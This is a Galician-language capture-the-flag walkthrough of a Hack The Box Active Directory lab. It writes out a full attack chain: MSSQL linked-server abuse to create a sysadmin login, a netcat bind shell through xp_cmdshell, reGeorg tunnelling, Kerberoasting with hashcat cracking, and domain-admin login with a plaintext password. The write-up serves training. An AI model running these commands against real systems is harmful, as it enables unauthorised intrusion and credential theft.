Neste artigo analizaremos o paso non só dunha máquina, senón de todo un mini-laboratorio do sitio
Como se indica na descrición, POO está deseñado para probar as habilidades en todas as fases dos ataques nun pequeno ambiente de Active Directory. O obxectivo é comprometer un host accesible, aumentar os privilexios e, finalmente, comprometer todo o dominio mentres se recollen 5 marcas.
A conexión ao laboratorio realízase mediante VPN. Recoméndase non conectarse desde un ordenador de traballo nin desde un host onde haxa datos importantes para ti, xa que acabas nunha rede privada con xente que sabe algo no campo da seguridade da información :)
Información organizativa
Para axudarche a estar ao día dos novos artigos, software e outra información, creei
Toda a información preséntase só con fins educativos. O autor deste documento non acepta ningunha responsabilidade polos danos causados a ninguén como resultado do uso dos coñecementos e técnicas obtidos co estudo deste documento.
Intro
Este xogo final consta de dúas máquinas e contén 5 bandeiras.
Tamén se ofrece unha descrición e enderezo do servidor dispoñible.
Comecemos!
Bandeira de Recoñecemento
Esta máquina ten un enderezo IP de 10.13.38.11, que engado a /etc/hosts.
10.13.38.11 poo.htb
En primeiro lugar, analizamos os portos abertos. Dado que a exploración de todos os portos con nmap leva moito tempo, primeiro farei isto usando masscan. Analizamos todos os portos TCP e UDP desde a interface tun0 a unha velocidade de 500 paquetes por segundo.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Agora, para obter información máis detallada sobre os servizos que se executan nos portos, imos realizar unha exploración coa opción -A.
nmap -A poo.htb -p80,1433
Polo tanto, temos servizos IIS e MSSQL. Neste caso, descubriremos o nome DNS real do dominio e do ordenador. No servidor web recibenos a páxina de inicio de IIS.
Imos ir polos directorios. Eu uso gobuster para iso. Nos parámetros indicamos o número de fíos 128 (-t), URL (-u), dicionario (-w) e extensións que nos interesan (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Isto ofrécenos unha autenticación HTTP para o directorio /admin, así como un ficheiro .DS_Store do servizo de escritorio accesible. .DS_Store son ficheiros que almacenan configuracións personalizadas para un cartafol, como unha lista de ficheiros, as localizacións das iconas e a imaxe de fondo seleccionada. Este ficheiro pode acabar no directorio do servidor web dos desenvolvedores web. Deste xeito obtemos información sobre os contidos do directorio. Para iso podes usar
python3 dsstore_crawler.py -i http://poo.htb/
Recibimos o contido do directorio. O máis interesante aquí é o directorio /dev, desde o que podemos ver as fontes e os ficheiros db en dúas ramas. Pero podemos usar os primeiros 6 caracteres dos nomes de ficheiros e directorios se o servizo é vulnerable a IIS ShortName. Podes comprobar esta vulnerabilidade usando
E atopamos un ficheiro de texto que comeza por "poo_co". Sen saber que facer a continuación, simplemente seleccionei todas as palabras que comezan por "co" do dicionario do directorio.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
E resolverémolo usando wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
E atopamos a palabra correcta! Observamos este ficheiro, gardamos as credenciais (a xulgar polo parámetro DBNAME, son de MSSQL).
Entregamos a bandeira e adiantamos un 20%.
Ei bandeira
Conectamos a MSSQL, eu uso DBeaver.
Non atopamos nada interesante nesta base de datos, creemos un Editor SQL e comprobemos que usuarios hai.
SELECT name FROM master..syslogins;
Temos dous usuarios. Comprobamos os nosos privilexios.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Así, non hai privilexios. Vexamos os servidores vinculados, escribín sobre esta técnica en detalle
SELECT * FROM master..sysservers;
Así é como atopamos outro SQL Server. Imos probar a execución de comandos neste servidor usando openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
E ata podemos construír unha árbore de consultas.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
A cuestión é que cando facemos unha solicitude a un servidor ligado, a solicitude execútase no contexto doutro usuario. Vexamos no contexto de que usuario estamos a traballar nun servidor ligado.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Agora vexamos en que contexto se fai unha solicitude desde un servidor ligado ao noso!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Polo tanto, é o contexto DBO o que debería ter todos os privilexios. Imos comprobar os privilexios en caso de solicitude dun servidor ligado.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Como podes ver, temos todos os privilexios! Imos crear o noso propio administrador así. Pero non o permiten a través de openquery, imos facelo a través de EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
E agora conectamos coas credenciais do novo usuario, observamos a nova base de datos de bandeiras.
Entregamos esta bandeira e seguimos adiante.
Bandeira de retroceso
Imos conseguir un shell usando MSSQL, eu uso mssqlclient do paquete impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Necesitamos conseguir contrasinais, e o primeiro que xa nos atopamos é un sitio web. Así, necesitamos unha configuración do servidor web (non é posible deixar un shell conveniente, ao parecer o firewall está en execución).
Pero o acceso é denegado. Aínda que podemos ler o ficheiro desde MSSQL, só necesitamos saber cales son as linguaxes de programación configuradas. E no directorio MSSQL descubrimos que existe Python.
Entón non hai ningún problema para ler o ficheiro web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Coas credenciais atopadas, vai a /admin e toma a bandeira.
Bandeira do pé
De feito, hai algúns inconvenientes ao usar un cortalumes, pero mirando a configuración da rede, observamos que tamén se usa IPv6.
Imos engadir este enderezo a /etc/hosts.
dead:babe::1001 poo6.htb
Volvamos escanear o host, pero usando o protocolo IPv6.
E o servizo WinRM está dispoñible a través de IPv6. Conectemos coas credenciais atopadas.
Hai unha bandeira no escritorio, entregámoslla.
Bandeira P00ned
Despois de realizar o recoñecemento do host usando
setspn.exe -T intranet.poo -Q */*
Imos executar o comando a través de MSSQL.
Mediante este método, obtemos o SPN dos usuarios p00_hr e p00_adm, o que significa que son vulnerables a un ataque como Kerberoasting. En resumo, podemos obter os seus hash de contrasinais.
Primeiro cómpre obter un shell estable como usuario de MSSQL. Pero como temos un acceso limitado, temos comunicación co host só a través dos portos 80 e 1433. Pero é posible túnel de tráfico polo porto 80! Para iso utilizaremos
Pero cando tentamos acceder a el, aparece un erro 404. Isto significa que os ficheiros *.aspx non se executan. Para que se executen ficheiros con estas extensións, instale ASP.NET 4.5 do seguinte xeito.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
E agora, cando accedemos a tunnel.aspx, recibimos unha resposta de que todo está listo para funcionar.
Imos lanzar a parte cliente da aplicación, que transmitirá o tráfico. Reenviaremos todo o tráfico do porto 5432 ao servidor.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
E usamos cadeas proxy para enviar tráfico de calquera aplicación a través do noso proxy. Engademos este proxy ao ficheiro de configuración /etc/proxychains.conf.
Agora imos cargar o programa ao servidor
Agora lanzamos o escoita a través de MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
E conectamos a través do noso proxy.
proxychains rlwrap nc poo.htb 4321
E imos conseguir os hash.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
A continuación, cómpre iterar sobre estes hash. Como o dicionario rockyou non contiña estes contrasinais, usei TODOS os dicionarios de contrasinais proporcionados en Seclists. Para a busca usamos hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
E atopamos ambos contrasinais, o primeiro no dicionario dutch_passwordlist.txt e o segundo en Keyboard-Combinations.txt.
E así temos tres usuarios, imos ao controlador de dominio. Primeiro descubrimos o seu enderezo.
Xenial, descubrimos o enderezo IP do controlador de dominio. Descubrimos todos os usuarios do dominio, así como cal deles é administrador. Para descargar o script para obter información PowerView.ps1. Despois conectarémonos usando evil-winrm, especificando o directorio co script no parámetro -s. E despois cargaremos o script de PowerView.
Agora temos acceso a todas as súas funcións. O usuario p00_adm parece un usuario privilexiado, polo que traballaremos no seu contexto. Imos crear un obxecto PSCredential para este usuario.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Agora todos os comandos de Powershell onde especifiquemos Creds executaranse como p00_adm. Imos amosar unha lista de usuarios e o atributo AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
E así, o noso usuario é realmente privilexiado. A ver en que grupos está.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Finalmente confirmamos que o usuario é un administrador de dominio. Isto dálle dereito a iniciar sesión no controlador de dominio de forma remota. Tentemos iniciar sesión a través de WinRM usando o noso túnel. Quedei confuso polos erros producidos por reGeorg ao usar evil-winrm.
Entón usemos outro máis sinxelo,
Intentamos conectarnos, e estamos no sistema.
Pero non hai bandeira. Despois mira o usuario e mira os escritorios.
Atopamos a bandeira en mr3ks e o laboratorio está rematado ao 100%.
Iso é todo. Como comentario, comenta se aprendeches algo novo deste artigo e se che foi útil.
Podes unirte a nós en
Fonte: www.habr.com